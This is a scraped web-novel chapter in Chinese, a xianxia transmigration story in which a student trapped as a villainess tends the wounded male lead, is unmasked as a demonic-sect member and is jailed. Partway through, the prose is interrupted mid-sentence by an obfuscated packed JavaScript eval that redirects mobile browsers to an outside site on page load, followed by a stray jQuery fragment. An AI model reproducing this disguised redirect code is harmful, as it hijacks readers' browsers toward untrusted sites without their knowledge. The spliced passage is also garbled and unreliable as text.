文趣网 > 都市小说 > 你再这样,我祭剑了啊 > 2. 第 2 章
    陈知彻一手握剑一手捂伤口,艰难地想要撑起身子封住自己穴道,这一剑未伤及心肺但需要及时止血,谁料肩膀上突然传来一道蛮力,扯得他重心不稳,仰面摔回去。

    元禾着急忙慌地察看他的剑伤,左胸贯穿伤的出血量已经把他半边衣襟都浸湿!

    原书中并未提到男主在这场攻伐中受伤,元禾心想兴许他是因为自己刚刚呼救才贸然进攻,若是他这个节骨眼就死了,那她之后找谁祭剑去,那还咋回现实世界了。

    她顺着刺入的破口撕开他的衣服,犹在冒血的狰狞剑伤带着血腥气直扑在她脸上,这画面太过冲击,元禾差点两腿一软跪坐在地上。

    必须先找东西给他止血,她在自己周身摸索了一下,发现怀里有个软物,掏出来一看是一只奇丑无比的布娃娃!

    那娃娃用丝线坠着双马尾,一对纽扣眼睛歪歪斜斜地和元禾对视着。

    元禾一瞬间表情管理差点失控,无语地将布娃娃丢到一旁。

    突然摸到自己领窝处刚刚伏赢划出的那个小破口,她用力一扯,扯下半拉斜襟,揉巴两下紧紧摁在伤口处。

    那点布料很快也被血洇湿,血液附着在手指上的感觉有点像戴了双很闷的胶皮手套,她不自在地动了动手指,一侧脸,才发现陈知彻不知道看了她多久。

    少年白皙的脸颊上溅了几滴血,眉宇间满是不解,方才的冷峻之气不见,连带着端庄持重的味道也少了许多,反而多出几分脆弱的意味。

    的确生得好看……尤其是这样近距离地观察,少年眉眼深邃,轮廓凌厉,唯独眼尾微微上挑的弧度给他不近人情的矜贵感中多加了些可以亲近的错觉;他似乎痛得厉害,琥珀色的眼瞳含着薄薄的一层水意,叫人想起腊梅覆雪,此时此景,也不怪原主一见钟情了。

    元禾一瞬不瞬地凝视让他眉头蹙得更紧,“你——”

    话未说完,赶到殿内的正派修士越来越多,黎樱他们顾不得元禾已经撤离。

    伏赢一人招架十几名修士,一拳轰出,击退几人,分神看向这边。

    待看清元禾动作时,伏赢那张一向不怎么有表情的脸上,终于浮现出一种发自内心的茫然。

    ......那只常年跟在黎樱屁股后面,连大气都不敢喘的小老鼠,现在在救释一宗的弟子?

    伏赢猛地挥出一道带着蛮力的剑气,挡在他身前的几个修士来不及招架,直接被击飞出去。

    他脸色阴沉,抬步往两人那走去。

    正在此时,从殿外传进一道破空声,而剑尖已至眼前!

    伏赢运气抵挡,蓄满灵气的飞剑叮一声,撞在他横在身前的剑身,灵气与魔气相撞的一瞬间,荡出一股巨大的冲击波!把一旁的元禾震得翻了个跟头。

    “是掌门!”

    “叶尊主到了!”

    修士们七嘴八舌地喊着。

    伏赢定定地看了一眼元禾,朝殿后遁去。

    顷刻间,叶心已踏进殿内,她一身月白剑服,长剑收回竖于身侧,化神期的威压让所有人都不由得屏住呼吸。她的五官极为英气,眉目间有股经年累月杀伐磨砺出的锋锐感,鬓边一缕银发衬得整个人如初雪覆刃。

    她垂眸扫过元禾、陈知彻两人,未作停留,便朝殿后伏赢离开的方向追去。

    伏赢逃走,众多修士们都跟着叶心去追,一时间大殿上的人多数是伤员。

    元禾到此时才傻眼,都走了,那她呢?

    按剧情线,她得到中后期,男主已经被他师尊废了灵根后,再去走剧情,到那时候估计她填坑也填的差不多了,胡乱表演一下恋爱脑人设,气氛到的时候祭剑交差,然后回到现实世界美美通过考试。

    但是现在,满场能站着的都是正派修士,只有她一个小魔教,她咋逃……

    她后知后觉地反应过来,好像即使不用她救,男主的主角光环也不会让他死掉,反而是她,一个标准的小炮灰为什么上杆子把自己往枪口上送。

    都怪系统那条提示把她思路都搞乱了!

    算了,那她也先别站起来了。

    元禾维持着半蹲的姿势,松开摁着男主伤口的手,打算悄默默地开溜。

    下一秒,她的手腕和手臂上同时多了一只手!

    陈知彻抓住她手腕的瞬间,一个听剑阁的弟子也扶住了元禾。

    她顿时满头大汗,余光看见地上那只破布娃娃,“等一下,我的娃娃!”她借机弯腰去捡娃娃,想顺便溜走,陈知彻顺势松开了手。

    但她弯腰时,刚刚因撕掉斜襟而有些松垮的衣服,恰巧将她锁骨处的魔教纹身显露出来。

    那位听剑阁的弟子,原本是看陈知彻受伤便想来帮忙,他认得陈知彻却从未见过元禾,本以为她是一同围攻魔教的同道,此刻看见她锁骨上的魔教纹身,大惊失色道:“等等……你是魔教的!”

    这弟子惊骇之下拽住元禾衣衫,她衣服本就因为刚刚撕下斜襟而松松垮垮,此时这么一扯更是露出半个肩头。

    元禾拼命挣扎,那弟子没料到她出招完全没有内力,纯凭乱挥,一时不察竟给她打了一巴掌。

    他怒火攻心,当即举起剑来!

    “住手。”

    一道清冽的女声自耳边传来,来人一袭白衣,姿容胜雪。

    正是释一宗的掌门薛无琢。

    陈知彻艰难地捂着伤口撑起身子,唤了句:“师尊……”,薛无琢抬手几下封了他的穴位止住血。

    这边,听剑阁的弟子却迟迟不愿松手,他将手中剑握得死紧,若不是碍于薛无琢的话,恨不得当即便将元禾一剑刺死。

    “弟子见陈师兄为救她不惜受伤,才以为此女是同道,现在既已知晓她是妖女,为何薛尊主也不准杀,弟子不解!”

    他强压怒火,这番话说得好不客气,话里话外暗示着什么。

    薛无琢淡淡地看过来,陈知彻便以剑拄地颤颤巍巍地站稳,“咳……,弟子见那魔教教主要杀她,才出手相救。弟子……咳咳,也以为她是同道。”,他回话时没看元禾。

    “这女子身在魔教却一丝魔气也无,不怪你们会认错,伏赢在这个时机杀她也颇为蹊跷。先留她活口,带回去审。”薛无琢一言定音再无转圜的余地。

    听剑阁弟子从未见过这样的事,向来遇见魔教中人,哪个不是恨之入骨抬剑便杀,从没听过带回去审讯的道理!但说话的是释一宗的掌门人,修仙界数一数二的大宗派,又一向与听剑阁同仇敌忾,他只能强压戾气,松开了元禾。

    但他怒气不出,松手时用了暗劲,直把元禾推了个跟头,高声道:“弟子告退!”

    元禾这一会摔了好几次了,她咬牙拉好衣服,忽然手臂一凉,原来是薛无琢伸手托住了她的小臂,登时她浑身被灵力蒸得轻飘飘的,似被一股柔风托住,再回神时已稳稳站定。

    元禾怔怔地去看那只扶在她小臂的手,眼神只来得及触到薛无琢收回的指尖。

    元禾突然发现自己小臂上有个淡红色的印记,似乎是疤痕又似乎是胎记......

    还没等她细看,就听见薛无琢指挥着后来的弟子护送伤员,她也被带了下去。

    一路上元禾都在想,该说薛无琢不愧是原书中最有人气的女角色之一吗,她周身气质极为冷淡,自带一股高位者的威严,但和叶心的锋锐是完全不同的两个极。

    疏离到极致,反而生出悲天悯人的意味。

    原书中就是她听信别人构陷,冤枉男主与原主有所勾连,因此认定他勾结魔教,将他灵根都废掉再逐出师门,持节之重可见一斑,可以说她既是男主的最仰慕的师尊,也是其黑化的直接推手,所以顺理成章地成为了男主永远无法忘记的黑月光。

    在原书中虽然没有直接描写两人感情,但字里行间总是为陈知彻和薛无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791280|210388||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    琢营造出一股禁忌的氛围,所以当时元禾追书时,评论区关于这个角色的讨论度很高,cp热度也是断层第一,所以当原主对男主死缠烂打导致他被薛无琢误解时,评论区简直快把这个小工具人骂蒸发了。

    不过这些和元禾关系都不大,她只在乎能不能摸鱼,期末周的紧绷感让她迫切想要躺平一阵子,所以现在这个小炮灰的角色就挺好。

    起码,她现在是这么认为……

    *

    元禾被关进了炽龙帮的露天牢房里。

    说起炽龙帮,其实就是听剑阁,此帮派与听剑阁同宗同门,几十年前被派来驻守在魔教分坛附近,以便探查魔教踪迹,为掩人耳目,才换名为炽龙帮。

    这次围剿魔教,也是借了个由头,说炽龙帮偶得一不世之宝,众仙门齐聚观赏,结果伏赢上赶着踢馆抢走了法器,众仙门正好师出有名。

    兴许是看元禾一点法力有没有,所以只派了两个人看守。

    她到现在都没能把那身已经松垮的魔教衣服换下来,此时破衣烂衫地窝在干草堆里,听牢门外那俩炽龙帮的弟子嚼舌根。

    左首坐着一位方脸汉子,他不耐烦地挠了挠头道:“叶尊主回来没有,咱到底要守这小崽子多久?”

    右首的汉子蔫头耷脑,眼睛眯得只剩条缝,且叫他小眼汉子。

    只听小眼汉子吸了吸鼻子道:“还没有呢,我说这次肯定又杀不了那魔教的狗贼。”

    方脸汉子闻言直接啐了一口,忿忿道:“你说这叶尊主,打魔教打了这么多年,除了杀了不少臭鱼烂虾,她办过大事吗她!”

    小眼汉子支支吾吾,左右环视一圈,确认夜深无人,才敢继续抱怨:“就是因为办不了大事,才只能追着魔教打,显得她不忘旧仇,好叫人看看她叶尊主多有情有义!就是苦了咱们,白白赔在这里浪费了前程。”

    元禾看了眼这牢房的茅草房顶,炽龙帮的条件一目了然。

    明明都是听剑阁的人,别人能凭着听剑阁的名号,走到哪里都被恭敬对待,而他们却只能顶着无名小派的名号,几十年蜇守在这里。

    现在最低等的弟子都敢这样骂掌门,可见他们对听剑阁显然早有不满。

    元禾看过原书,只知道叶心从始至终都对魔教恨之入骨,后期男主堕魔后,她也一视同仁,但凡和魔教沾边的都欲除之而后快,几次围剿的大型武打场面都是她提供的。

    元禾原本以为叶心只是嫉恶如仇,听两人方才言语才知道,原来是有旧仇。

    她从草堆里蛄蛹两下撑着身子起来,凑到门边,一副求知若渴的八卦模样,“二位大哥,旧仇是啥?”

    方脸汉子吓了一跳,张嘴便骂:“吔!这小崽子偷听人说话!”

    小眼汉子也转过身长枪直指着元禾:“你这臭魔教的,不老老实实侯审,信不信哥几个先斩后奏!”

    元禾立马钻回草堆求饶:“诶,我不是魔教的!你们别急啊。”

    两人一脸不信,元禾继续诌:“二位大哥,我真不是魔教的!我幼时有弱症,总呆呆傻傻,这几天才开智,之前的事一概不记得了,就记得那天魔教那个姓伏的狗贼要杀我,幸好被仙门弟子搭救,才留得一命。”

    炽龙帮二人听她一口一个大哥,而且也跟着他们喊魔教教主狗贼,顿时有些犹疑。

    元禾体质特殊不能修炼,所以身上一丝魔气也无,此时灰头土脸的缩在草堆里,脑袋上还顶着几根干草,大眼睛溜溜地看人,模样委实颇为单纯无害。

    两人渐渐收起刀兵,又坐到门口。

    许久,那方脸汉子才哼了一声:“看你也不太机灵,竟然连当年的朔月夜一事也不知。”

    两人并未因元禾一番话就完全打消防备,只是此事太过轰动,可以说家喻户晓,实在不是什么秘辛,就算他们不说,这小丫头也能轻易从旁人口中得知,索性便和她说说解闷。